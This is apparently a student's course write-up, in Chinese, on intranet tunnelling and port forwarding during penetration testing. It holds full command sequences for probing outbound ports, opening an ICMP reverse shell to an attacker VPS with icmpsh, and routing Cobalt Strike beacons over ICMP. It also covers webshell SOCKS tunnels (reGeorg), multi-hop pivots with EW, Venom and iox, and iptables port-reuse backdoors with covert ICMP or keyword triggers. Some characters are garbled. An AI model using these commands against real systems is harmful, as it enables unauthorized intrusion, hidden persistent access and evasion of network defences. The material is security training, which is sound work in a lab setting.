隧道與端口轉發
*本文為內測第三周結束后內網學員(hh)的學習反饋,內測過程中,輔助同學合理安排學習計劃,同時也不斷收集學員的學習反饋時,我們也會不斷根據內測學員的建議來不斷完善打磨我們的課程。如果想獲得課程報名資格,請添加文末小助手微信咨詢。

一、出網探測
出網探測就是要探測出網協議,出站ip和出站端口。查看是否禁止了出站ip或者禁止了出站端口或者禁止了出站協議。
情況1:目標禁止出站ip
如果目標主機設置了嚴格的策略,防火墻只允許目標內網機器主動連接公網指定的ip。這樣的話,沒法反彈shell。(因為白名單ip沒有辦法拿到權限)。
情況2:禁止出站端口
Linux系統
使用Linux系統自帶命令探測出網端口。( 探測 目標機器可以訪問baidu.com對應ip的端口)
for i in {440..449};do timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && echo "$i***********************open************************" || echo "$i closed";don
webshell不好回顯結果,將結果寫入文件中
for i in {440..449};do timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && echo "$i ************************open************************"|| echo "$i closed";done >> result.txt
探測常見端口
for i in {21,22,23,25,53,80,88,110,137,138,139,123,143,389,443,445,161,1521,3306,3389,6379,7001, 7002,8000,8001,8080,8090,9000,9090,11211};do timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && echo "$i ************************open************************" || echo "$i closed";done
for i in {21,22,23,25,53,80,88,110,137,138,139,123,143,389,443,445,161,1521,3306,3389,6379,7001, 7002,8000,8001,8080,8090,9000,9090,11211};do timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && echo "$i ************************open************************" || echo "$i closed";done >> result.txt
nmap探測(目標主機很可能沒裝nmap)
nmap -sT -Pn -p- -v www.baidu.com-p- 全端口-v 顯示記錄
masscan探測(目標主機可能不自帶masscan)
masscan -p 80,443,8000-9000 182.61.200.6 --rate=10000
fscan探測
fscan -h 182.61.200.6 -p 1-65535
Windows系統
如果RDP連接上去,可以使用圖形化工具(如御劍)。
如果是webshell,可以使用命令行工具(如fscan)。
探測的端口范圍
可以根據nmap的端?范圍探測。也可以根據??的經驗積累的端?范圍進?探測。
nmap -n --top-ports 100 127.0.0.1 -oA foo > /dev/null grep -i "services\=" foo.xml | sed -r 's/.*services\=\"(.*)(\"\/>)/\1/g'
攻擊端的端?請求記錄
攻擊端這邊需要有?標機訪問的記錄,才能更好的判斷?標機器是否訪問了我們。只要?標機器訪問到 了我們VPS的任意?個端?,我們這邊都能有記錄。
//將所有端?的流量都轉發到34444端? iptables -A PREROUTING -t nat -p tcp --dport 1:65535 -j REDIRECT --to-port 34444//查看nat表的規則 iptables -t nat -nvL //清除nat表所有規則 iptables -t nat -F //備份iptables規則 iptables-save > /tmp/firewall.rules //恢復iptables規則 iptables-restore < /tmp/firewall.rules
配置防?墻規則,禁?訪問遠程機器的1-34566和34566-65535端?,也就是說只允許訪問34567端?
然后我們這邊監聽34444端?,在?標機器端?探測
禁止出站協議
對于禁止出站協議的情況,需要探測目標機器允許哪些協議出網。
探測ICMP協議
服務端監聽ICMP流量:tcpdump icmp 客戶端ping VPS地址,查看服務端能否收到請求
VPS監聽,然后ping我們vps查看能否收到監聽來判斷ICMP 協議是否出?。
也可以直接ping?個地址,看是否 有ttl值。
探測DNS協議
Windows:nslookup、ping Linux:nslookup、dig、ping
通過判斷能否將域名解析為ip,判斷DNS協議是否出?。也可以將域名換成dnslog的域名,再看dnslog能否收到請求。
探測HTTP協議
Linux:可以使用curl命令
curl http://192.168.10.13
Windows系統可以使用如下的命令:
certutil -urlcache -split -f http://192.168.10.13/1bitsadmin /transfer test http://192.168.10.13/1 c:\1powershell iwr -Uri http://192.168.10.13/1 -OutFile 1 -UseBasicParsing
2.只有ICMP協議出網
?標只有icmp協議能出?的話,則只有考慮使?icmp協議來搭建隧道。
利?icmp協議通信的?具有很多icmpsh、reverse-icmp-shell、PingTunnel、IcmpTunnel都可以。
常?的ping命令就是利?的ICMP協議。
使用ICMP進行命令控制(Icmpsh)
適?場景:?標機器是Windows服務器
下載icmpsh工具:
git clone https://github.com/bdamele/icmpsh.git
VPS的操作:
#關閉icmp回復,如果要開啟icmp回復,該值設置為0sysctl -w net.ipv4.icmp_echo_ignore_all=1 #運?,第?個IP是VPS的eth0?卡IP(vps上ifconfig可以得到),第?個IP是?標機器出?的公?IPpython2 icmpsh_m.py 172.20.92.13 39.00.00.00

目標機器的操作:
icmpsh.exe -t 39.00.00.00 -d 500 -b 30 -s 12839.00.00.00是我的attacker的公網ip

victim反彈了一個shell到我的公網vps上。

wireshark抓包可看到走的全是icmp協議
使?PingTunnel搭建隧道
正向socks5代理
服務端操作
#關閉icmp回復,如果要開啟icmp回復,該值設置為0 sysctl -w net.ipv4.icmp_echo_ignore_all=1 #監聽 sudo ./pingtunnel -type server -noprint 1 -nolog 1
客戶端操作
sudo pingtunnel.exe -type client -l :1080 -s 39.99.251.19 -sock5 1 -noprint 1 -nolog 1 然后將代理設置為Socks5 127.0.0.1:1080即可。如果是在attacker vps上執行的,就設為socks5 vps_ip:1080

訪問到內網網站:

端口轉發
服務端操作
#關閉icmp回復,如果要開啟icmp回復,該值設置為0sysctl -w net.ipv4.icmp_echo_ignore_all=1 #監聽 ./pingtunnel -type server -noprint 1 -nolog 1
客戶端操作
#將?標主機39.99.251.19的8081端?轉發到本地的8080端? pingtunnel.exe -type client -l :8080 -s victim_ip -t victim_ip:8081 -tcp 1 noprint 1 -nolog 1
這樣訪問本地的8080端?就相當于訪問了?標主機的8081端?。
將victim(我的vps)的frp端口轉發到本地的42538

ICMP上線CS
有如下場景,我們拿到了內?10.211.55.7和10.211.55.6的機器權限。但是這兩個機器對外均只有icmp協議出 ?,我們現在可以利?icmp封裝tcp協議,讓其上線cs。

服務端10.211.55.15 對應我的公網VPS
sudo ./spp -type server -proto ricmp -listen 0.0.0.0
客戶端10.211.55.7 對應我的192.168.60.124機器
spp.exe -name "test" -type proxy_client -server vps_ip -fromaddr :8082 -toaddr :8081 -proxyproto tcp -proto ricm
CS上創建兩個監聽器

重點
vps上的是開8081端口192.168.60.124上開的是8082用http8082監聽器生成??,在客戶端192.168.60.124和內?其他機器192.168.60.228?標機器執?,可以看到均能上線。
192.168.60.124和192.168.60.228機器之間是TCP流量

客戶端和服務端之間是icmp流量。
體驗了一波,非常慢。
原理
實際通信是這樣,192.168.60.228連接192.168.60.124的8082端?,但是因為我們起了正向代理,8082映射到了服務端 的8081端?。因此192.168.60.228最終連接到了服務端的8081端?。
3.目標不出網的場景
reGeorge
reGeorge的使用(本地虛擬機多次不成功)
https://github.com/sensepost/reGeorg
使用
將對應語言的腳本文件上傳到目標機器,php對應tunnel.nosocket.php。

再在vps或者本機上執行
python2 reGeorgSocksProxy.py -l 0.0.0.0 -p 1080 -u http://victim_ip/tunnel.nosocket.php
設置代理訪問 socks5代理
訪問目標內網成功。

Neo-reGeorg
使用
執行以下命令生成代理腳本
python3 neoreg.py generate -k moonsec(password)

將生成的腳本傳到目標機器上
在vps或者本地執行
python3 neoreg.py -l 0.0.0.0 -p 1080 -k moonsec -u http://victim_ip/tunnel.php
設置代理訪問目標內網成功

自定義訪問頁面
自定義一個404頁面:
python3 neoreg.py generate -k moonsec --file 404.html --httpcode 404
這樣以后tunnel.py就變成了404.html的樣子。
后續使用
python3 neoreg.py -l 0.0.0.0 -p 1080 -k moonsec -u http://victim_ip/tunnel.php --skip
不出網上線CS
我們打下了?個?標機器10.211.55.3,但是該機器不出?,我們現在想讓其上線CS。我們的思路是這樣的,通 過配置代理,讓本地虛擬機10.211.55.7可以訪問到?標機器。然后讓本地虛擬機上線cs,?bind_tcp去連接?標 機器。

以下演示中
192.168.8.108對應圖中內網不出網服務器10.211.55.3(實戰中為公網IP)192.168.8.115對應圖中我們的虛擬機 10.211.55.7192.168.8.106 127.0.0.1 是我們的本機
掛好http代理
在192.168.8.108(10.211.55.3)服務器上搭建http隧道

虛擬機上線CS
虛擬機192.168.8.115(10.211.55.7)上線CS

虛擬機192.168.8.115(10.211.55.7)配置好socks5代理保證可以訪問到192.168.8.108(10.211.55.3)

監聽bind_tcp
CS上開啟一個bind tcp的監聽器

生成一個bind tcp的木馬

把木馬在192.168.8.108(10.211.55.3)機器執行
查看是否監聽了
netstat -ano |findstr 42585

connect主動連接
在已上線的192.168.8.115(10.211.55.7的shell)里面執行
connect 192.168.8.108(10.211.55.3)
好像我的cs里面bind_tcp默認是42585,所以默認會連42585跟我的cs profile有關。。。


注意要用stageless的exe。
4.FRP(目標機器出網)
使?Frp建?隧道(反向socks5代理)
基本是配置
客戶端


成功

使用FRP映射web服務
客戶端
將目標機器的web服務器映射到vps的8090端口上
配置:


使用FRP映射RDP服務
客戶端

將目標機器的3389端口映射到我的vps上了。

也是類似的操作,電腦暫時沒空間裝不下linux虛擬機了就沒去試。
使?FRP映射其他服務,例如MySQL、Redis等服務都是和映射Web、RDP、SSH服務?樣,修改?下要映射 的端?即可。
5.NPS的使用
配置文件
有個坑
https://blog.kaygb.com/728.html
配置文件的位置不是在nps的目錄下
而是在
/etc/nps/conf/nps.conf
注意,nps啟動后會監聽:
http_proxy_port:80 防止占用修改為9090https_proxy_port:443 防止占用修改為9091bridge_port :8024web_port :23125 防止占用
啟動
啟動:sudo nps start 停?:sudo nps stop 重啟:sudo nps restart 配置?件重載:sudo nps reload 更新nps:nps-u pdate update
查看nps監聽的端口
netstat -pantu | grep nps
登錄web管理端

新建一個客戶端

客戶端連接
修改client的npc.conf文件
要刪掉common以外的東西
修改server_addr和vkey
執行
npc.exe
在線了

搭建sock5反向代理
使?步驟
在剛才創建的客戶端隧道管理中添加?條socks5代理,填寫監聽的端?(8888),保存。
在外?環境的本機配置socks5代理(例如使?proxifier進?全局代理),ip為公?服務器ip(39.00.00.00), 端?為填寫的監聽端?(8888),即可暢享內?了


socks5代理的用戶名密碼是新建客戶端時候的basic用戶名和Basic密碼
使用proxifier成功連上。

掛著socks5訪問RDP

6.EW
一級代理
正向代理
目標機器有公網ip,我們可以去找這個目標機器的端口,在目標機器上執行如下命令:
正向連接,所以有ssocksd(正向連接) 和 -l(監聽本地端口)
./ew_for_linux64 -s ssocksd -l 1080
在目標機器上建??個socks5的代理,監聽了1080端?的流量。
掛上代理訪問內網

瀏覽器proxychains設置代理訪問目標內網成功。

反向代理
Victim----->vps:8889---->vps:1080(socks5)
代理是目標機器連我。
場景是獲得了一個位于內網的通過NAT方式(沒有公網ip)對外提供服務的主機的權限,現在需要對這臺服務器所在的內網繼續進行滲透。就可以通過ew建立一個socks5隧道,讓主機通過隧道訪問內網。
VPS
rcsocks 反向連接的attacker vps使用
-l 要監聽的本地端口
-e 要反彈到的機器端?
VPS上開啟監聽,將1080端口監聽的流量都轉發到本地的8889端口用于反向連接
./ew_for_linux64 -s rcsocks -l 1080 -e 8889

目標機器
rssocks 反向連接的受害者機器使用-d:要反彈到的機器 ip-e 要反彈到的機器端?將本地的所有流量都轉發到我的VPS ip的8889端?用于反向連接ew_for_Win.exe -s rssocks -d vps_ip -e 8889


掛上代理可訪問:
瀏覽器proxychains

proxifier

proxychains4代理

二級代理
Vps:1080<------vps:8888<-------A<-------B:9999
踩的坑是要把B服務器的防火墻都關了或者添加對應的出入站規則才行。
有這么?種情況。內?主機A能出?,內?主機B不能出?,但是內?主機B可以訪問靶標。內?主機A不能 訪問到靶標,但是能通內?主機B。我們現在已經拿到了內?主機A和內?主機B的權限。
VPS:x.x.x.x服務器A(Linux):192.168.60.132服務器B(windows):192.168.60.197,10.10.1.129靶標web系統:http://10.10.1.128/dd.html

?先,在VPS上開啟如下監聽,將1080端?監聽的流量都轉發到本地的8888端?。
./ew_for_linux64 -s lcx_listen -l 1080 -e 8888

然后在服務器B上執?如下命令,監聽本地的9999端?
ew.exe -s ssocksd -l 9999

最后再服務器A上執?如下命令,將VPS的8888端?和服務器B的9999端?連接起來
意思就是主動連接服務器B的9999端口(前面在B的9999端口開了監聽所以連得到),反彈到vps的8888端口,用于多級連接。
./ew_for_linux64 -s lcx_slave -d vps_ip -e 8888 -f server_b_ip -g 9999

以上命令都執?完之后,設置socks5代理為VPS 的1080端?,即可成功訪問靶標web系統http://10.10.1.128/dd.html。(此時的代理代的是服務器B)

三級代理
C -----> B:7777 ------> B:9999VPS:10803<---- VPS:8888<----- A ------>B:9999
內?主機A能出?,內?主機B不能出?,內?主機C也不能出?。服務器A只能訪問服務 器B。服務器B只能訪問服務器A和服務器C。服務器C能訪問服務器B,也能訪問靶標。我們現在拿到了內?主機 A、內?主機B和內?主機C的權限。
VPS:x.x.x.x服務器A(Linux):192.168.60.132服務器B(windows):192.168.60.197,10.10.1.129服務器C(windows):10.10.1.128,10.10.10.140靶標web系統:http://10.10.10.139/ddd.html

圖中的VPS對應我的VPS
圖中的內網主機A對應我的環境中的服務器A
圖中的內網主機B對應我的環境中的服務器B
圖中的內網主機C對應我的環境中的服務器C
圖中的靶標對應我的靶標web系統10.10.10.139
?先,在VPS上執?如下命令,將10803端?監聽的流量都轉發到本地的8888端?
意思就是VPS監聽本地端口10803的流量,反彈到8888端口 用于反向連接
./ew_for_linux64 -s rcsocks -l 10803 -e 8888

然后在服務器A上執?如下命令,將VPS的8888端?和內?主機B的9999端?連接起來
意思是服務器A主動連接內網主機B的9999端口,將流量反彈到VPS的8888端口。
./ew_for_linux64 -s lcx_slave -d vps -e 8888 -f 192.168.60.197 -g 9999

接著在服務器B上執?如下命令,將監聽的9999端?的流量都轉發給本地的7777端?
意思就是服務器B監聽本地端口9999的流量 把流量都反彈到7777端口,用于多級連接。
ew.exe -s lcx_listen -l 9999 -e 7777

意思是服務器C把流量反彈到主機B(10.10.1.129)的7777端口,用于反向連接(C反向連接B)
ew.exe -s rssocks -d 10.10.1.129 -e 7777

以上命令都執?完之后,設置socks5代理為VPS 的10803端?,即可成功訪問靶標web系統。(此時的代理代的是服務器C)

四級代理
暫時沒能在本地搭建起來四層代理的環境,僅作記錄
有這么?種情況。內?主機A能出?,內?主機B不能出?,內?主機C也不能出?,內?主機D也不能出 ?。內?主機A只能訪問內?主機B。內?主機B只能訪問內?主機A和內?主機C。內?主機C只能訪問內?主機B 和內?主機D。內?主機D能訪問內?主機C和靶標。我們現在拿到了內?主機A、內?主機B、內?主機C和內?主機D的權限。
VPS:39.99.251.19服務器A(Linux):10.211.55.15服務器B(Windows):10.211.55.6服務器C(Windows):10.211.55.16服務器D(Windows):10.211.55.14靶標web系統:http://10.211.55.7/1.txt

?先,在VPS上執?如下命令,將1080端?監聽的流量都轉發到本地的8888端?
./ew_for_linux64 -s rcsocks -l 1080 -e 8888
然后在服務器A上執?如下命令,將VPS的8888端?和內?主機B的9999端?連接起來
./ew_for_linux64 -s lcx_slave -d 39.99.251.19 -e 8888 -f 10.211.55.6 -g 9999
然后在服務器B上執?如下命令,將本地的9999端?流量轉發到內?主機C的7777端?
ew.exe -s lcx_tran -l 9999 -f 10.211.55.16 -g 7777
然后在服務器C上執?如下命令,將本地的7777端?的流量都轉發給本地的6666端?
ew.exe -s lcx_listen -l 7777 -e 6666
最后再服務器D執?如下命令,將反彈流量到內?主機C的6666端?
ew.exe -s rssocks -d 10.211.55.16 -e 6666
以上命令都執?完之后,設置socks5代理為VPS 39.99.251.19的1080端?,即可成功訪問靶標web系統。
7.iox使用
iox使用
fwd轉發模式
將內網主機的RDP端口轉發到VPS上
VPS執行:
./iox fwd -l *9999 -l 3389 -k 65656
3389不用加密

目標機器執行:
iox.exe fwd -r local_ip:3389 -r *vps_ip:9999 -k 656565
rdp成功 有時候要多試幾次

Proxy代理模式
sock5反向代理
目標機器連我的VPS
嘗試了一種成功一種失敗
失敗的情況----------------------
VPS執行
./iox proxy -l *9999 -l *1080 -k 656565 (失敗)

目標機器執行#將流量轉發到vps的9999端?iox.exe proxy -r *vps_ip:9999 -k 656565代理設置socks5 vps:1080失敗

成功的情況--------------------------------
VPS執行
./iox proxy -l *9999 -l 1080 -k 656565 (socks端口不加密似乎能成功)

目標機器執行
iox.exe proxy -r *vps_ip:9999 -k 656565
成功

socks5正向代理
我們去連目標機器
目標機器上執行
./iox proxy -l 1080

瀏覽器proxychains掛vps的1080端口的sock5代理訪問成功

終端proxychains4掛vps的1080端口的sock5代理成功

proxifier訪問成功

8.Venom
一級代理
反向socks5代理

有這么?個場景,我們獲得了?個位于內?的通過NAT?式對外提供服務的主機的權限,現在我們需要對其 所在的內?繼續進?滲透。于是,我們就需要通過venom建??個socks5隧道代理,讓我們的主機可以通過隧道訪問其內?。
反向代理是客戶端連我們的VPS。
服務端(VPS)
執行如下命令監聽9999端口
./admin_linux_x64 -lport 9999 -passwd moonsec

客戶端
執行如下命令連接VPS的9999端口
agent.exe -rhost vps_ip -rport 9999 -passwd moonsec

然后服務端就可以收到流量

goto節點,執行socks命令簡歷socks5代理
goto 1socks 1080

我們連vps的1080端口的socks代理就可以內網漫游。

正向socks5代理

當?標機器有?個公?ip時,可以使?以下命令建??個socks5的代理,監聽1080端?的流量。
那么就可以在目標機器上開一個端口用自己的VPS然后去連。
客戶端:
在目標機器上執行如下命令監聽8888端口:
./agent_linux_x64 -lport 8888

服務端:
實戰中用VPS或者本地端去連接目標機器ip的8888端口:
admin.exe -rhost target_ip -rport 8888

goto節點,socks命令建立代理。
goto 1socks 1080


二級代理
現在有這么?種情況。內?主機A能出?,內?主機B不能出?,但是內?主機B可以訪問靶標。內?主機A不能訪 問到靶標,但是能通內?主機B。我們現在已經拿到了內?主機A和內?主機B的權限。
VPS服務器A:192.168.60.132服務器B:192.168.60.150,10.10.1.129靶標web系統:http://10.10.1.128/dd.html
正向連接

圖中的VPS、內網主機A、內網主機B、靶標分別和我自己的環境對應。
二級代理只需要在一級代理的基礎上多執行一條命令。
首先搭建一級代理:
這里就用反向代理——
VPS:./admin_linux_x64 -lport 9999 -passwd moonsec A:./agent_linux_x64 -rhost vps_ip -rport 9999 -passwd moonsec

如果一級代理加了密碼 -passwd參數,那么后面的代理都需要帶上 -passwd參數。一級代理沒有加密碼的話后面都不用加。
B機器上執行如下命令:
agent.exe -lport 9999 -passwd moonsec

(admin node) >>> goto 1node 1(node 1) >>> connect 192.168.60.151 9999connect to 192.168.60.151 9999successfully connect to the remote port!(node 1) >>> showA+ -- 1 + -- 2(node 1) >>> goto 2node 2(node 2) >>> socks 1080a socks5 proxy of the target node has started up on the local port 1080.


反向連接
搭建好一級代理:
VPS:./admin_linux_x64 -lport 9999 -passwd moonsec A:./agent_linux_x64 -rhost vps_ip -rport 9999 -passwd moonsec
一級代理搭建完成:

然后在A服務器上開啟監聽端口:
(node 1) >>> listen 7778listen 7778the port 7778 is successfully listening on the remote node!

B服務器反向去連A:
agent.exe -rhost 192.168.60.132 -rport 7778 -passwd moonsec

(node 1) >>> showA+ -- 1 + -- 2(node 1) >>> goto 2node 2(node 2) >>> socks 1080a socks5 proxy of the target node has started up on the local port 1080.(node 2) >>>

三級代理
現在有這么?種情況。內?主機A能出?,內?主機B不能出?,內?主機C也不能出?。服務器A只能訪問服務器 B。服務器B只能訪問服務器A和服務器C。服務器C能訪問服務器B,也能訪問靶標。我們現在拿到了內?主機A、 內?主機B和內?主機C的權限。
VPS服務器A:192.168.60.132服務器B:192.168.60.150,10.10.1.129服務器C:10.10.1.128,10.10.10.140靶標:http://10.10.10.139/ddd.html

三級代理就是在二級代理基礎上再建立一個反向代理或者正向代理
正向代理
通過B去連C
C服務器:
agent.exe -lport 8886 -passwd moonsec

B服務器:
(node 2) >>> connect 10.10.1.128 8886connect to 10.10.1.128 8886successfully connect to the remote port!(node 2) >>> showA+ -- 1 + -- 2 + -- 3(node 2) >>> goto 3node 3(node 3) >>> socks 1081a socks5 proxy of the target node has started up on the local port 1081.(node 3) >>>


反向代理
通過C來連B
B服務器:
(node 2) >>> listen 9998listen 9998the port 9998 is successfully listening on the remote node!
C服務器:
agent.exe -rhost 10.10.1.129 -rport 9998 -passwd moonsec



9.端口復用
端?復?就是在?個開放的端?上,通過對輸?的信息進?字符匹配,來運?不同的服務。端?復?只對輸?的信息進?字符匹配,不對?絡數據進?任何攔截、復制類操作,所以對?絡數據的傳輸性能絲毫不受影響。端?復?常被?客?來制作后?。有時候利用端口復用也可以搭建隱蔽的隧道。
Linux利用iptables做端口復用
場景:
?標主機是Linux系統,?標主機防?墻有嚴格的限制,只允許80端?的流量進?。我們拿到了?標主機的Webshell(root權限,因為iptables命令需要root權限)并且拿到了SSH的賬號密碼。但是?標主機22端?只對內開放,所以必須得利?80端?做端?復?連接。

原先只能通過webshell進行管理,現在想通過ssh遠程連接到目標機器來進行。
方案一:(根據源地址做端口復用)
223.104.40.92是我的機子的出口ip(如果是vps的話就是vps的公網ip)
#將來?223.104.40.92的訪問80端?的流量都重定向到22端?。iptables -t nat -A PREROUTING -p tcp -s 223.104.40.92 --dport 80 -j REDIRECT --to-port 22iptables -t nat -A PREROUTING -p tcp -s 220.196.192.73 --dport 80 -j REDIRECT --to-port 22#查看nat表的規則 iptables -t nat -nvL #清除nat表的規則 iptables -t nat -F


但是這樣做有?個問題就是,我們訪問?標主機80端?的流量都會被轉給22端?。如果我們不?訪問該HTTP服務 的話,這是?個好的辦法。實戰中,我們?般是?VPS連接不?訪問HTTP服務,所以在實戰中該?法?的?較多。所以說就是沒事
方案二:(根據源地址源端口做端口復用)
既指定ip又指定端口,主要主動連的機子有公網ip(VPS)。
做個記錄。
目標機器上執行:
#根據源地址源端?做端?復?,也就是只有來?223.104.40.92主機的33333端?的訪問80端?的流量會被轉給22 端? iptables -t nat -A PREROUTING -p tcp -s 223.104.40.92 --sport 33333 --dport 80 -j REDIRECT --to-port 22 #查看nat表的規則 iptables -t nat -nvL #清楚nat表的規則 iptables -t nat -F
然后我們本機先?socat將本地44444端?的流量以源端?33333訪問39.99.251.19的80,然后我們SSH本地的 44444端?即可。
socat tcp-listen:44444,fork,reuseaddr tcp:39.99.251.19:80,sourceport=33333,reuseaddr ssh -p 44444 root@127.0.0.1
但是這樣做有?個問題就是不?持多連接 如果想創建兩個 SSH 連接就會出錯,因為本地的 33333 端?已經被第? 個 SSH 連接占?了。并且這樣做需要連接的機器擁有單獨的公?ip,?如VPS。
方案三:(利用ICMP協議做遙控開關)
創建一個規則,滿足條件觸發。
#創建端?復?鏈 iptables -t nat -N LETMEIN #創建端?復?規則,將流量轉發? 22 端? iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22 #開啟開關,如果接收到?個?為 1139 的 ICMP 包,則將來源 IP 添加到加為letmein的列表中 iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1139 -m recent --set --name letmein --rsource -j ACCEPT #關閉開關,如果接收到?個?為 1140 的 ICMP 包,則將來源 IP 從 letmein 列表中去掉 iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1140 -m recent --name letmein --remove -j ACCEPT #如果發現 SYN 包的來源 IP 處于 letmein 列表中,將跳轉到 LETMEIN 鏈進?處理,有效時間為 3600 秒 iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN #查看nat表的規則 iptables -t nat -nvL #清除nat表的規則 iptables -t nat -F

#開啟復?,向?標發送?個?度為 1111 的 ICMP 數據包(加上包頭28,總?度實際為1139)?ping -c 1 -s 1111 39.99.251.19 ssh -p 80 xx@ip#關閉復?,向?標發送?個?度為 1112 的 ICMP 數據包(加上包頭 28,總?度實際為 1140) ping -c 1 -s 1112 39.99.251.19


方案四:(利用TCP協議做遙控開關)
利? tcp 數據包中的關鍵字做遙控開關,不怕?標在內?。
#創建端?復?鏈 iptables -t nat -N LETMEIN2 #創建端?復?規則,將流量轉發? 22 端? iptables -t nat -A LETMEIN2 -p tcp -j REDIRECT --to-port 22 #開啟開關,如果接收到?個含有threathuntercoming的TCP包,則將來源 IP 添加到加為letmein2的列表中 iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name LETMEIN2 --rsource -j ACCEPT #關閉開關,如果接收到?個含有threathunterleaving的TCP包,則將來源 IP 從letmein2的列表中移除 iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name LETMEIN2 --remove -j ACCEPT #如果發現 SYN 包的來源 IP 處于 letmein2 列表中,將跳轉到 LETMEIN2 鏈進?處理,有效時間為 3600 秒 iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name LETMEIN2 --rsource -j LETMEIN2

#開啟復?,開啟后本機到?標 80 端?的流量將轉發??標的 SSHecho threathuntercoming | socat - tcp:39.99.251.19:80 #關閉復?,關閉后,80 恢復正常 echo threathunterleaving | socat - tcp:39.99.251.19:80

